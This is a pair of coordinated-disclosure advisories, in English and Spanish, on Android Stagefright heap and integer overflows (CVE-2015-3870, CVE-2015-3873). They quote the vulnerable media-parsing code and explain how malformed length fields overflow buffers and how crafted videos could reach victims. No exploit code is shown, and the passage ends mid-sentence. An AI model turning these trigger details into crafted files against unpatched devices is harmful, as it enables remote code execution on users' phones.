-------------------------------------------------------------------------------- https://raw.githubusercontent.com/programa-stic/security-advisories/4a032bf81dd45c614da477f5e88b2fb0982e7869/Android/Stagefright/CVE-2015-3870/POC.mp4 -------------------------------------------------------------------------------- /Android/Stagefright/CVE-2015-3870/README.md: -------------------------------------------------------------------------------- 1 | 2 | # Vulnerability in Android library while parsing a MP4 video files 3 | 4 | 5 | ## 1. Advisory Information 6 | 7 | **Title:** Vulnerability in Android library while parsing a MP4 video files 8 | 9 | **Advisory ID:** CVE-2015-3870 10 | 11 | **Advisory URL:** [http://www.fundacionsadosky.org.ar/publicaciones/#seguridad-en-tic](http://www.fundacionsadosky.org.ar/publicaciones/#seguridad-en-tic) 12 | 13 | **Date published:** 2016-1-22 14 | 15 | **Date of last update:** 2015-12-01 16 | 17 | **Vendors contacted:** Google 18 | 19 | **Release mode:** Coordinated release 20 | 21 | 22 | 23 | ## 2. Vulnerability Information 24 | 25 | **Class:** Heap-based Buffer Overflow [[http://cwe.mitre.org/data/definitions/122.html](http://cwe.mitre.org/data/definitions/122.html)] 26 | 27 | **Impact:** Code execution 28 | 29 | **Remotely Exploitable:** Yes 30 | 31 | **Locally Exploitable:** No 32 | 33 | **CVE Identifier:** [http://cve.mitre.org/cgi-bin/cvename.cgi?name=2015-3870](http://cve.mitre.org/cgi-bin/cvename.cgi?name=2015-3870) 34 | 35 | 36 | 37 | ## 3. Vulnerability Description 38 | 39 | Stagefright is a media library running in Android devices used as a backend engine for playing various multimedia formats such as MP3, MKV, MP4, etc. 40 | 41 | A vulnerability exists in the library that is triggered when procesing a malformed MP4 video file. The bug can be used by a potential attacker to perform arbitrary operations on the victim device. 42 | 43 | In order to exploit the problem an attacker would need a victim to open an specially crafted MP4 video file. This could be done via sending an MMS message to the device, tricking the user into browsing a site controlled by the attacker or sending it via to app installed in the victim's device such as an instant messaging app. 44 | 45 | The problem was assigned as critical severity by the vendor (Google) and it affects around 93% of Android mobile devices around the world. 46 | 47 | 48 | ## 4. Vulnerable packages 49 | 50 | * Android Lollipop 5.1.1 without October security updates. 51 | 52 | ## 5. Vendor Information, Solutions and Workarounds 53 | 54 | Vendor fixed issue in the Android Open Source Project (AOSP) repository on October 2015 and notified it's partners on September 10, 2015. 55 | 56 | 57 | ## 6. Credits 58 | 59 | This vulnerability was discovered and researched by Joaquín Manuel Rinaudo and Iván Arce. The publication of this advisory was coordinated by Programa Seguridad en TIC. 60 | 61 | ## 7. Technical Description 62 | 63 | While processing .mp4 media files, libstagefright uses a MPEG4Extrator to iterate over the different atoms calling 64 | [http://androidxref.com/5.1.1_r6/xref/frameworks/av/media/libstagefright/OggExtractor.cpp#parseFileMetaData](http://androidxref.com/5.1.1_r6/xref/frameworks/av/media/libstagefright/OggExtractor.cpp#parseFileMetaData) to parse elements based on the Four Character Code (fourCC) it encounters. 65 | 66 | Upon encountering elements with FourCC codes of "avcC" or "hvcC" the extractor will allocate a buffer, store the entire chunk in an array, tag it with a key corresponding to its fourCC code and defer further processing. 67 | 68 | Parsing of those elements will be picked up by convertMetaDataToMessage in [http://androidxref.com/5.1.1_r6/xref/frameworks/av/media/libstagefright/Utils.cpp](http://androidxref.com/5.1.1_r6/xref/frameworks/av/media/libstagefright/Utils.cpp) 69 | Starting in line 177 it parses a AVCDecoderConfiguration record and flattens an array of variable length elements into an allocated buffer of fixed size: 70 | 71 | ``` 72 | 177 if (meta->findData(kKeyAVCC, &type, &data, &size)) { 73 | 178 // Parse the AVCDecoderConfigurationRecord 74 | 179 75 | 180 const uint8_t *ptr = (const uint8_t *)data; 76 | 181 77 | 182 CHECK(size >= 7); 78 | 183 CHECK_EQ((unsigned)ptr[0], 1u); // configurationVersion == 1 79 | 184 uint8_t profile = ptr[1]; 80 | 185 uint8_t level = ptr[3]; 81 | 186 82 | 187 // There is decodable content out there that fails the following 83 | 188 // assertion, let's be lenient for now... 84 | 189 // CHECK((ptr[4] >> 2) == 0x3f); // reserved 85 | 190 86 | 191 size_t lengthSize = 1 + (ptr[4] & 3); 87 | 192 88 | 193 // commented out check below as H264_QVGA_500_NO_AUDIO.3gp 89 | 194 // violates it... 90 | 195 // CHECK((ptr[5] >> 5) == 7); // reserved 91 | 196 92 | 197 size_t numSeqParameterSets = ptr[5] & 31; 93 | 198 94 | 199 ptr += 6; 95 | 200 size -= 6; 96 | 201 97 | 202 sp buffer = new ABuffer(1024); 98 | 203 buffer->setRange(0, 0); 99 | 204 100 | 205 for (size_t i = 0; i < numSeqParameterSets; ++i) { 101 | 206 CHECK(size >= 2); 102 | 207 size_t length = U16_AT(ptr); 103 | 208 104 | 209 ptr += 2; 105 | 210 size -= 2; 106 | 211 107 | 212 CHECK(size >= length); 108 | 213 109 | 214 memcpy(buffer->data() + buffer->size(), "\x00\x00\x00\x01", 4); 110 | 215 memcpy(buffer->data() + buffer->size() + 4, ptr, length); 111 | 216 buffer->setRange(0, buffer->size() + 4 + length); 112 | 217 113 | 218 ptr += length; 114 | 219 size -= length; 115 | 220 } 116 | 117 | 118 | ``` 119 | 120 | At line 202 a buffer of fixed size is allocated, the loop in line 205 iterates over an array of variable length elements. For each element, its length is obtained from the file as a 16bit unsigned integer and the corresponding data is copied into the allocated buffer at line 215. 121 | 122 | The CHECK() performed in line 212 ensures that the specified length does not exceed the input buffer but it does not prevent overwriting of heap memory is the length of the provided data exceeds the size of the allocated buffer. 123 | 124 | A malformed MP4 file with an AVCDecoderConfiguration record that includes an SPS record in which the sum of the sizes of data elements exceed the fixed size buffer will corrupt the heap. This can be done with a single element of 1020 bytes or with multiple smaller elements. 125 | 126 | In either case, the setRange() call in line 216 will fail when it attempts to set the range past the allocated buffer's size, terminating the process. At this point the heap has already been corrupted by the memcpy() operation in line 215 but it is unclear whether this can be exploited for anything different than a crash. 127 | 128 | The same issue is found 2 more times in Utils.cpp when processing a Picture Parameter Sets (PPS) record starting at [https://android.googlesource.com/platform/frameworks/av/+/android-5.1.1_r13/media/libstagefright/Utils.cpp#235](https://android.googlesource.com/platform/frameworks/av/+/android-5.1.1_r13/media/libstagefright/Utils.cpp#235) and in the processing array of NAL units in the HVCC record starting at line [https://android.googlesource.com/platform/frameworks/av/+/android-5.1.1_r13/media/libstagefright/Utils.cpp#255](https://android.googlesource.com/platform/frameworks/av/+/android-5.1.1_r13/media/libstagefright/Utils.cpp#255) 129 | 130 | ## 8. Report Timeline 131 | 132 | * **2015-08-05:** 133 | Issue opened at Android issue tracker. Technical details of the vulnerabilities sent to the vendor. 134 | 135 | * **2015-08-06:** 136 | Vendor said it cant be reproduced because it is already fixed in internal branch. 137 | 138 | * **2015-08-06:** 139 | Programa STIC asked confirmation that this is considered a security bug, asked if it will be assigned 1 or 3 CVEs and the estimated release date for the fix. 140 | 141 | * **2015-08-17:** 142 | The vendor said its treating the bug as a high severity issue and have assigned CVE-2015-3870. It was found and fixed internally (tracked as ANDROID-22771132) in July 2015. 143 | 144 | * **2015-08-17:** 145 | Programa STIC noted that the same vulnerable pattern was present 3 times in Utils.cpp : 146 | Parsing of SPS and PPS records in AVCC and parsing of HVCC in HEVC 147 | 148 | * **2015-08-25:** 149 | Android issue 183762 has been merged into this issue. Duplicate report from Wang Tao of Baidu X-Team. 150 | 151 | * **2015-09-03:** 152 | CVE-2015-3870 assigned to this issue. 153 | 154 | * **2015-10-05:** 155 | Nexus security bulletin - October 2015 published. 156 | 157 | * **2015-10-09:** 158 | Vendor released a patch in Android Open Source Project (AOSP) repository. 159 | 160 | * **2016-1-22:** 161 | Advisory was released. 162 | 163 | ## 9. References 164 | 165 | 166 | 167 | ## 10. About Fundación Dr. Manuel Sadosky 168 | 169 | The Dr. Manuel Sadosky Foundation is a mixed (public / private) institution whose goal is to promote stronger and closer interaction between industry and the scientific-technological system in all aspects related to Information and Communications Technology (ICT). The Foundation was formally created by a Presidential Decree in 2009. Its Chairman is the Minister of Science, Technology, and Productive Innovation of Argentina; and the Vice-chairmen are the chairmen of the country’s most important ICT chambers: The Software and Computer Services Chamber (CESSI) and the Argentine Computing and Telecommunications Chamber (CICOMRA). For more information visit: [http://www.fundacionsadosky.org.ar](http://www.fundacionsadosky.org.ar) 170 | 171 | ## 11. Copyright Notice 172 | 173 | The contents of this advisory are copyright (c) 2014 Fundación Sadosky and are licensed under a Creative Commons Attribution Non-Commercial Share-Alike 4.0 License: [http://creativecommons.org/licenses/by-nc-sa/4.0/](http://creativecommons.org/licenses/by-nc-sa/4.0/) -------------------------------------------------------------------------------- /Android/Stagefright/CVE-2015-3873/LEAME.md: -------------------------------------------------------------------------------- 1 | 2 | # Vulnerabilidad en biblioteca de Android que procesa contenido multimedia con mecanismos de protección de derechos digitales 3 | 4 | 5 | ## 1. Información del reporte 6 | 7 | **Título:** Vulnerabilidad en biblioteca de Android que procesa contenido multimedia con mecanismos de protección de derechos digitales 8 | 9 | **Reporte ID:** CVE-2015-3873 10 | 11 | **Reporte URL:** [http://www.fundacionsadosky.org.ar/publicaciones/#seguridad-en-tic](http://www.fundacionsadosky.org.ar/publicaciones/#seguridad-en-tic) 12 | 13 | **Fecha de publicación:** 2015-12-01 14 | 15 | **Fecha de última actualización:** 2016-1-22 16 | 17 | **Fabricantes contactados:** Google 18 | 19 | **Modo de publicación:** Coordinado 20 | 21 | 22 | 23 | ## 2. Información de vulnerabilidades 24 | 25 | **Clase:** Integer Overflow to Buffer Overflow [[http://cwe.mitre.org/data/definitions/680.html](http://cwe.mitre.org/data/definitions/680.html)] 26 | 27 | **Impacto:** Ejecución de código 28 | 29 | **Remotamente explotable:** Yes 30 | 31 | **Localmente explotable:** No 32 | 33 | **Identificador CVE:** [http://cve.mitre.org/cgi-bin/cvename.cgi?name=2015-3873](http://cve.mitre.org/cgi-bin/cvename.cgi?name=2015-3873) 34 | 35 | 36 | 37 | ## 3. Descripción de vulnerabilidad 38 | 39 | Stagefright es una biblioteca que corre en dispositivos Android que es utilizada como motor multimedia al procesar formatos como MP3, MP4, MKV, etc. La biblioteca permite que proveedores de contenidos gestionen sus derechos de propiedad intelectual e impongan restricciones de licenciamiento y de uso a los usuarios, a través de una interfaz de programación que permite interactuar con servicios de DRM (Digital Rights Management) de Android que corren en los dispositivos móviles. 40 | 41 | Existe una vulnerabilidad en la biblioteca que se manifiesta al procesar archivos de video que utilicen los mecanismos de protección de derechos de propiedad intelectual para contenidos digitales (DRM) de Android. Para explotar el problema, un potencial atacante requeriría que la victima reproduzca un video con contenido protegido. Esto podría lograrse ya sea enviando el video en un mensaje de texto, engañando a la víctima para que navegue a una página web con dicho video embebido o copiándolo desde alguna aplicación instalada en el dispositivo, por ejemplo alguna de mensajería instantánea. 42 | 43 | El problema fue catalogado como de severidad crítica por el fabricante (Google) y afecta aproximadamente al 93% de los dispositivos móviles Android de todo el mundo. 44 | 45 | 46 | ## 4. Paquetes vulnerables 47 | 48 | * Dispositivos corriendo Android Lollipop 5.1.1 o menor, sin las actualizaciones de seguridad de Octubre de 2015. 49 | 50 | ## 5. Información y soluciones del fabricante 51 | 52 | El fabricante solucionó el problema en el repositorio Android Open Source Project (AOSP) en Octubre del 2015 y notificó a sus asociados en Septiembre 10, 2015. 53 | 54 | 55 | ## 6. Créditos 56 | 57 | Las vulnerabilidades fueron descubiertas e investigadas por Joaquín Manuel Rinaudo. La publicación de este reporte fue coordinada por Programa Seguridad en TIC. 58 | 59 | ## 7. Descripción técnica 60 | 61 | En libstagefright, la clase [http://androidxref.com/5.1.1_r6/xref/frameworks/av/media/libstagefright/MediaExtractor.cpp](http://androidxref.com/5.1.1_r6/xref/frameworks/av/media/libstagefright/MediaExtractor.cpp) procesa contenido media basado en DRM (con tipo MIME "drm+es_based+"). 62 | 63 | Primero MediaExtractor abrirá la fuente de datos (archivo DRM) e intentará detectar su tipo iterando sobre los métodos registrados en DataSource: 64 | 65 | ``` 66 | 53 sp MediaExtractor::Create( 67 | 54 const sp &source, const char *mime) { 68 | 55 sp meta; 69 | 56 70 | 57 String8 tmp; 71 | 58 if (mime == NULL) { 72 | 59 float confidence; 73 | 60 if (!source->sniff(&tmp, &confidence, &meta)) { 74 | 61 ALOGV("FAILED to autodetect media content."); 75 | 62 76 | 63 return NULL; 77 | 64 } 78 | 65 79 | 66 mime = tmp.string(); 80 | 67 ALOGV("Autodetected media content as '%s' with confidence %.2f", 81 | 68 mime, confidence); 82 | 69 } 83 | 70 84 | 85 | 86 | ``` 87 | 88 | Para contenido DRM, esto terminará llamando a SniffDRM() que inicializará el un DRMClient para comunicarse con el DRMManagerService y crear un DRMExtractor para procesar el contenido. 89 | 90 | ``` 91 | 75 if (!strncmp(mime, "drm+", 4)) { 92 | 76 const char *originalMime = strchr(mime+4, '+'); 93 | 77 if (originalMime == NULL) { 94 | 78 // second + not found 95 | 79 return NULL; 96 | 80 } 97 | 81 ++originalMime; 98 | 82 if (!strncmp(mime, "drm+es_based+", 13)) { 99 | 83 // DRMExtractor sets container metadata kKeyIsDRM to 1 100 | 84 return new DRMExtractor(source, originalMime); 101 | 102 | 103 | ``` 104 | 105 | En caso de contenido de video (AVC) con DRM basado en stream, durante el playback el método read de DRMExtractor llamará al método de desencripción correspondiente al servicio DRM y procesará su output de la siguiente forma: 106 | 107 | ``` 108 | 126 status_t DRMSource::read(MediaBuffer **buffer, const ReadOptions *options) { 109 | 127 Mutex::Autolock autoLock(mDRMLock); 110 | 128 status_t err; 111 | 129 if ((err = mOriginalMediaSource->read(buffer, options)) != OK) { 112 | 130 return err; 113 | 131 } 114 | 132 115 | 133 size_t len = (*buffer)->range_length(); 116 | 134 117 | 135 char *src = (char *)(*buffer)->data() + (*buffer)->range_offset(); 118 | 136 119 | 137 DrmBuffer encryptedDrmBuffer(src, len); 120 | 138 DrmBuffer decryptedDrmBuffer; 121 | 139 decryptedDrmBuffer.length = len; 122 | 140 decryptedDrmBuffer.data = new char[len]; 123 | 141 DrmBuffer *pDecryptedDrmBuffer = &decryptedDrmBuffer; 124 | 142 125 | 143 if ((err = mDrmManagerClient->decrypt(mDecryptHandle, mTrackId, 126 | 144 &encryptedDrmBuffer, &pDecryptedDrmBuffer)) != NO_ERROR) { 127 | 145 128 | 146 if (decryptedDrmBuffer.data) { 129 | 147 delete [] decryptedDrmBuffer.data; 130 | 148 decryptedDrmBuffer.data = NULL; 131 | 149 } 132 | 150 133 | 151 return err; 134 | 152 } 135 | 153 CHECK(pDecryptedDrmBuffer == &decryptedDrmBuffer); 136 | 154 137 | 155 const char *mime; 138 | 156 CHECK(getFormat()->findCString(kKeyMIMEType, &mime)); 139 | 157 140 | 158 if (!strcasecmp(mime, MEDIA_MIMETYPE_VIDEO_AVC) && !mWantsNALFragments) { 141 | 159 uint8_t *dstData = (uint8_t*)src; 142 | 160 size_t srcOffset = 0; 143 | 161 size_t dstOffset = 0; 144 | 162 145 | 163 len = decryptedDrmBuffer.length; 146 | 164 while (srcOffset < len) { 147 | 165 CHECK(srcOffset + mNALLengthSize <= len); 148 | 166 size_t nalLength = 0; 149 | 167 const uint8_t* data = (const uint8_t*)(&decryptedDrmBuffer.data[srcOffset]); 150 | 168 151 | 169 switch (mNALLengthSize) { 152 | 170 case 1: 153 | 171 nalLength = *data; 154 | 172 break; 155 | 173 case 2: 156 | 174 nalLength = U16_AT(data); 157 | 175 break; 158 | 176 case 3: 159 | 177 nalLength = ((size_t)data[0] << 16) | U16_AT(&data[1]); 160 | 178 break; 161 | 179 case 4: 162 | 180 nalLength = U32_AT(data); 163 | 181 break; 164 | 182 default: 165 | 183 CHECK(!"Should not be here."); 166 | 184 break; 167 | 185 } 168 | 186 169 | 187 srcOffset += mNALLengthSize; 170 | 188 171 | 189 if (srcOffset + nalLength > len) { 172 | 190 if (decryptedDrmBuffer.data) { 173 | 191 delete [] decryptedDrmBuffer.data; 174 | 192 decryptedDrmBuffer.data = NULL; 175 | 193 } 176 | 194 177 | 195 return ERROR_MALFORMED; 178 | 196 } 179 | 197 180 | 198 if (nalLength == 0) { 181 | 199 continue; 182 | 200 } 183 | 201 184 | 202 CHECK(dstOffset + 4 <= (*buffer)->size()); 185 | 203 186 | 204 dstData[dstOffset++] = 0; 187 | 205 dstData[dstOffset++] = 0; 188 | 206 dstData[dstOffset++] = 0; 189 | 207 dstData[dstOffset++] = 1; 190 | 208 memcpy(&dstData[dstOffset], &decryptedDrmBuffer.data[srcOffset], nalLength); 191 | 209 srcOffset += nalLength; 192 | 210 dstOffset += nalLength; 193 | 211 } 194 | 212 195 | 213 CHECK_EQ(srcOffset, len); 196 | 214 (*buffer)->set_range((*buffer)->range_offset(), dstOffset); 197 | 215 198 | 216 } else { 199 | 217 memcpy(src, decryptedDrmBuffer.data, decryptedDrmBuffer.length); 200 | 218 (*buffer)->set_range((*buffer)->range_offset(), decryptedDrmBuffer.length); 201 | 219 } 202 | 220 203 | 221 if (decryptedDrmBuffer.data) { 204 | 222 delete [] decryptedDrmBuffer.data; 205 | 223 decryptedDrmBuffer.data = NULL; 206 | 224 } 207 | 225 208 | 226 return OK; 209 | 227 } 210 | 211 | 212 | ``` 213 | 214 | Los frames desencriptados del video que incluyen fragmentos NAL deberán ser preprocesados dentro del while loop en la linea 164. El loop concatena y copia en un único buffer todos los fragmentos, delimitándolos con la secuencia de bytes "\x00\x00\x00\x01". Esto ocurre de forma similar en el método read() del extractor de archivos MKV (MatroskaExtractor). 215 | 216 | Las variables 'srcOffset', 'dstOffset' y 'nalLength', todas definidas como enteros de 32 bits sin signo (size_t) son utilizadas para indexar los buffers de entrada y salida para las operaciones de copia. 217 | 218 | En la linea 180 'nalLength' es cargada como un entero sin signo directamente desde el buffer de entrada (que fue previamente desencriptado por el servicio de DRM). 219 | 220 | En la linea 189 el valor 'nalLength' provisto es utilizado para calculos de aritmética de punteros para asegurarse que el tamaño de 'len' bytes no sea excedido por los punteros que indexan a buffers de entrada y salida. Sin embargo, debido a que la corroboración se realiza sumando dos variables de tipo size_t, un tamaño suficientemente grande de 'nalLength' provocará un overflow y causará que la condición a evaluar sea falsa. Así se continuará procesando con un nalLength fuera de los limites de los buffer de entrada y salida. Luego en la linea 208, 'nalLength' se pasará como argumento a memcpy() lo que llevará a un heap overflow. 221 | 222 | Pueder ser extremadamente difícil detectar o filtrar intentos de explotación de esta vulnerabilidad para lograr ejecución remota de código, incluso desde el mismo dispositivo Android, dado que el problema solo se manifiesta después de que el contenido malicioso, alojado en uno o varios cuadros de un video, sea descifrado exitosamente. Por otro lado, parecería ser una vulnerabilidad ideal para realizar ataques dirigidos con alta precisión y para evadir o dificultar tareas de análisis forense. Utilizando mecanismos de restricción para la reproducción de video que proveen los servicios DRM de Android, un atacante podría restrigir el blanco de los intentos de explotación a dispositivos móviles específicos o a un periodo de tiempo determinado. 223 | 224 | 225 | ## 8. Cronología del reporte 226 | 227 | * **2015-08-18:** 228 | Se enviaron detalles de las vulnerabilidades técnicas y prueba de concepto al fabricante. 229 | 230 | * **2015-08-19:** 231 | El fabricante marcó la vulnerabilidad como un duplicado de un issue previamente reportado (seguido como AndroidID-23016072) y aseguró que el problema ya había sido solucionado en un branch interno. 232 | 233 | * **2015-08-19:** 234 | Programa STIC consultó al fabricante acerca si se le había asignado un CVE. 235 | 236 | * **2015-08-19:** 237 | El fabricante informó que se le asignó el CVE-2015-3873. 238 | 239 | * **2015-10-05:** 240 | Se publica el boletín de seguridad Nexus de October de 2015. 241 | 242 | * **2015-10-09:** 243 | El fabricante publicó un parche en el repositorio Android Open Source Project (AOSP). 244 | 245 | * **2016-1-22:** 246 | El reporte fue publicado. 247 | 248 | 249 | ## 9. Referencias 250 | 251 | 252 | 253 | ## 10. Acerca Fundación Dr. Manuel Sadosky 254 | 255 | La Fundación Dr. Manuel Sadosky es una institución público privada cuyo objetivo es favorecer la articulación entre el sistema científico – tecnológico y la estructura productiva en todo lo referido a la temática de las Tecnologías de la Información y la Comunicación (TIC). Creada a través del Decreto Nro. 678/09 del Poder Ejecutivo Nacional, la Fundación es presidida por el ministro de Ciencia, Tecnología e Innovación Productiva. Sus vicepresidentes son los presidentes de las cámaras más importantes del sector TIC: CESSI (Cámara de Empresas de Software y Servicios Informáticos) y CICOMRA (Cámara de Informática y Comunicaciones de la República Argentina). Para más información visitar: [http://www.fundacionsadosky.org.ar](http://www.fundacionsadosky.org.ar) 256 | 257 | ## 11. Derechos de autor 258 | 259 | El contenido de este reporte tiene copyright (c) 2014 Fundación Sadosky y se publica bajo la licencia Creative Commons Attribution Non-Commercial Share-Alike 4.0: [http://creativecommons.org/licenses/by-nc-sa/4.0/](http://creativecommons.org/licenses/by-nc-sa/4.0/) -------------------------------------------------------------------------------- /Android/Stagefright/CVE-2015-3873/README.md: -------------------------------------------------------------------------------- 1 | 2 | # Vulnerability in Android library while parsing DRM content 3 | 4 | 5 | ## 1. Advisory Information 6 | 7 | **Title:** Vulnerability in Android library while parsing DRM content 8 | 9 | **Advisory ID:** CVE-2015-3873 10 | 11 | **Advisory URL:** [http://www.fundacionsadosky.org.ar/publicaciones/#seguridad-en-tic](http://www.fundacionsadosky.org.ar/publicaciones/#seguridad-en-tic) 12 | 13 | **Date published:** 2016-1-22 14 | 15 | **Date of last update:** 2015-12-01 16 | 17 | **Vendors contacted:** Google 18 | 19 | **Release mode:** Coordinated release 20 | 21 | 22 | 23 | ## 2. Vulnerability Information 24 | 25 | **Class:** Integer Overflow to Buffer Overflow [[http://cwe.mitre.org/data/definitions/680.html](http://cwe.mitre.org/data/definitions/680.html)] 26 | 27 | **Impact:** Code execution 28 | 29 | **Remotely Exploitable:** Yes 30 | 31 | **Locally Exploitable:** No 32 | 33 | **CVE Identifier:** [http://cve.mitre.org/cgi-bin/cvename.cgi?name=2015-3873](http://cve.mitre.org/cgi-bin/cvename.cgi?name=2015-3873) 34 | 35 | 36 | 37 | ## 3. Vulnerability Description 38 | 39 | Stagefright is a media library running in Android devices used as a backend engine for playing various multimedia formats such as MP3, MKV, MP4, etc. The library allows content providers to enforce digital rights management (DRM) licensing restrictions and constrains on end user devices by providing an interface to interact with DRM services running on the mobile device. 40 | 41 | A vulnerability exists in the library that is triggered when procesing video files that use this kind of protections of intellectual property rights (DRM) in Android devices. The bug can be used by a potential attacker to perform arbitrary operations on the victim device. 42 | 43 | In order to exploit the problem an attacker would need a victim to open an specially crafted video file with protected content. This could be done via sending an MMS message to the device, tricking the user into browsing a site controlled by the attacker or sending it via to app installed in the victim's device such as an instant messaging app. 44 | 45 | The problem was assigned as critical severity by the vendor (Google) and it affects around 93% of Android mobile devices around the world. 46 | 47 | 48 | ## 4. Vulnerable packages 49 | 50 | * Android Lollipop 5.1.1 and prior without October 2015 security updates. 51 | 52 | ## 5. Vendor Information, Solutions and Workarounds 53 | 54 | Vendor fixed issue in the Android Open Source Project (AOSP) repository on October 2015 and notified it's partners on September 10, 2015. 55 | 56 | 57 | ## 6. Credits 58 | 59 | This vulnerability was discovered and researched by Joaquín Manuel Rinaudo. The publication of this advisory was coordinated by Programa Seguridad en TIC. 60 | 61 | ## 7. Technical Description 62 | 63 | In libstagefright processing of media content with Elementary Stream based DRM (a MIME type string that starts with "drm+es_based+") is done by [http://androidxref.com/5.1.1_r6/xref/frameworks/av/media/libstagefright/MediaExtractor.cpp](http://androidxref.com/5.1.1_r6/xref/frameworks/av/media/libstagefright/MediaExtractor.cpp). 64 | 65 | First MediaExtractor will open the data source and try to detect its type by iteration over the registered sniffer methods in DataSource: 66 | 67 | ``` 68 | 53 sp MediaExtractor::Create( 69 | 54 const sp &source, const char *mime) { 70 | 55 sp meta; 71 | 56 72 | 57 String8 tmp; 73 | 58 if (mime == NULL) { 74 | 59 float confidence; 75 | 60 if (!source->sniff(&tmp, &confidence, &meta)) { 76 | 61 ALOGV("FAILED to autodetect media content."); 77 | 62 78 | 63 return NULL; 79 | 64 } 80 | 65 81 | 66 mime = tmp.string(); 82 | 67 ALOGV("Autodetected media content as '%s' with confidence %.2f", 83 | 68 mime, confidence); 84 | 69 } 85 | 70 86 | 87 | 88 | ``` 89 | 90 | For DRM-enabled content, this will end up calling SniffDRM() which will initialize a DRMClient to communicate with the DRMManagerService and create a DRMExtractor for processing the content. 91 | 92 | ``` 93 | 75 if (!strncmp(mime, "drm+", 4)) { 94 | 76 const char *originalMime = strchr(mime+4, '+'); 95 | 77 if (originalMime == NULL) { 96 | 78 // second + not found 97 | 79 return NULL; 98 | 80 } 99 | 81 ++originalMime; 100 | 82 if (!strncmp(mime, "drm+es_based+", 13)) { 101 | 83 // DRMExtractor sets container metadata kKeyIsDRM to 1 102 | 84 return new DRMExtractor(source, originalMime); 103 | 104 | 105 | ``` 106 | 107 | In the case of video content (AVC) with stream-based DRM, during playback the read() method in DRMExtractor will call in the decrypt method from the corresponding DRM service and process its output as shown below: 108 | 109 | ``` 110 | 126 status_t DRMSource::read(MediaBuffer **buffer, const ReadOptions *options) { 111 | 127 Mutex::Autolock autoLock(mDRMLock); 112 | 128 status_t err; 113 | 129 if ((err = mOriginalMediaSource->read(buffer, options)) != OK) { 114 | 130 return err; 115 | 131 } 116 | 132 117 | 133 size_t len = (*buffer)->range_length(); 118 | 134 119 | 135 char *src = (char *)(*buffer)->data() + (*buffer)->range_offset(); 120 | 136 121 | 137 DrmBuffer encryptedDrmBuffer(src, len); 122 | 138 DrmBuffer decryptedDrmBuffer; 123 | 139 decryptedDrmBuffer.length = len; 124 | 140 decryptedDrmBuffer.data = new char[len]; 125 | 141 DrmBuffer *pDecryptedDrmBuffer = &decryptedDrmBuffer; 126 | 142 127 | 143 if ((err = mDrmManagerClient->decrypt(mDecryptHandle, mTrackId, 128 | 144 &encryptedDrmBuffer, &pDecryptedDrmBuffer)) != NO_ERROR) { 129 | 145 130 | 146 if (decryptedDrmBuffer.data) { 131 | 147 delete [] decryptedDrmBuffer.data; 132 | 148 decryptedDrmBuffer.data = NULL; 133 | 149 } 134 | 150 135 | 151 return err; 136 | 152 } 137 | 153 CHECK(pDecryptedDrmBuffer == &decryptedDrmBuffer); 138 | 154 139 | 155 const char *mime; 140 | 156 CHECK(getFormat()->findCString(kKeyMIMEType, &mime)); 141 | 157 142 | 158 if (!strcasecmp(mime, MEDIA_MIMETYPE_VIDEO_AVC) && !mWantsNALFragments) { 143 | 159 uint8_t *dstData = (uint8_t*)src; 144 | 160 size_t srcOffset = 0; 145 | 161 size_t dstOffset = 0; 146 | 162 147 | 163 len = decryptedDrmBuffer.length; 148 | 164 while (srcOffset < len) { 149 | 165 CHECK(srcOffset + mNALLengthSize <= len); 150 | 166 size_t nalLength = 0; 151 | 167 const uint8_t* data = (const uint8_t*)(&decryptedDrmBuffer.data[srcOffset]); 152 | 168 153 | 169 switch (mNALLengthSize) { 154 | 170 case 1: 155 | 171 nalLength = *data; 156 | 172 break; 157 | 173 case 2: 158 | 174 nalLength = U16_AT(data); 159 | 175 break; 160 | 176 case 3: 161 | 177 nalLength = ((size_t)data[0] << 16) | U16_AT(&data[1]); 162 | 178 break; 163 | 179 case 4: 164 | 180 nalLength = U32_AT(data); 165 | 181 break; 166 | 182 default: 167 | 183 CHECK(!"Should not be here."); 168 | 184 break; 169 | 185 } 170 | 186 171 | 187 srcOffset += mNALLengthSize; 172 | 188 173 | 189 if (srcOffset + nalLength > len) { 174 | 190 if (decryptedDrmBuffer.data) { 175 | 191 delete [] decryptedDrmBuffer.data; 176 | 192 decryptedDrmBuffer.data = NULL; 177 | 193 } 178 | 194 179 | 195 return ERROR_MALFORMED; 180 | 196 } 181 | 197 182 | 198 if (nalLength == 0) { 183 | 199 continue; 184 | 200 } 185 | 201 186 | 202 CHECK(dstOffset + 4 <= (*buffer)->size()); 187 | 203 188 | 204 dstData[dstOffset++] = 0; 189 | 205 dstData[dstOffset++] = 0; 190 | 206 dstData[dstOffset++] = 0; 191 | 207 dstData[dstOffset++] = 1; 192 | 208 memcpy(&dstData[dstOffset], &decryptedDrmBuffer.data[srcOffset], nalLength); 193 | 209 srcOffset += nalLength; 194 | 210 dstOffset += nalLength; 195 | 211 } 196 | 212 197 | 213 CHECK_EQ(srcOffset, len); 198 | 214 (*buffer)->set_range((*buffer)->range_offset(), dstOffset); 199 | 215 200 | 216 } else { 201 | 217 memcpy(src, decryptedDrmBuffer.data, decryptedDrmBuffer.length); 202 | 218 (*buffer)->set_range((*buffer)->range_offset(), decryptedDrmBuffer.length); 203 | 219 } 204 | 220 205 | 221 if (decryptedDrmBuffer.data) { 206 | 222 delete [] decryptedDrmBuffer.data; 207 | 223 decryptedDrmBuffer.data = NULL; 208 | 224 } 209 | 225 210 | 226 return OK; 211 | 227 } 212 | 213 | 214 | ``` 215 | 216 | Decrypted video frames that include NALfragments will be pre-processed within the while loop at line 164. The loop concatenates and copies into a single buffer all the fragments, delimiting them with the 4-byte sequence "\x00\x00\x00\x01", similar to the read() method of the MatroskaExtractor in Matroska.cpp. 217 | 218 | The 'srcOffset', 'dstOffset' and 'nalLength' variables, all defined as unsigned 32-bit integers (size_t) are used to index into the input and output buffers for the copy operations. 219 | 220 | At line 180 'nalLength' is loaded as an unsigned 32-bit value directly from the input buffer (which was previously decrypted by the DRM service). 221 | 222 | At line 189 the provided 'nalLength' value is used for pointer arithmetic calculations to ensure that it does not exceed 'len' bytes, the allocated size of both the input and output buffers. However, since the check is performed on the sum of two variables of type size_t, a sufficiently large value of 'nalLength' will make the sum overflow and wrap around causing the condition to evaluate as false thus continuing processing with a nalLength outside the bounds of the input and output buffers. Then at line 208 'nalLength' is passed as the size argument to memcpy(), which will end up overwritting heap memory. 223 | 224 | Note that exploitation of this bug for remote code execution would be extremely hard to detect or filter even on the Android device itself, since the vulnerability is only triggered after sucessful decryption of potentially malicious video frames. On the other hand, it seems to be an ideal bug for precise targeting and to avoid or otherwise impair incident forensics. Leveraging the playback restrictions that could be enforced using standard Android DRM services, an 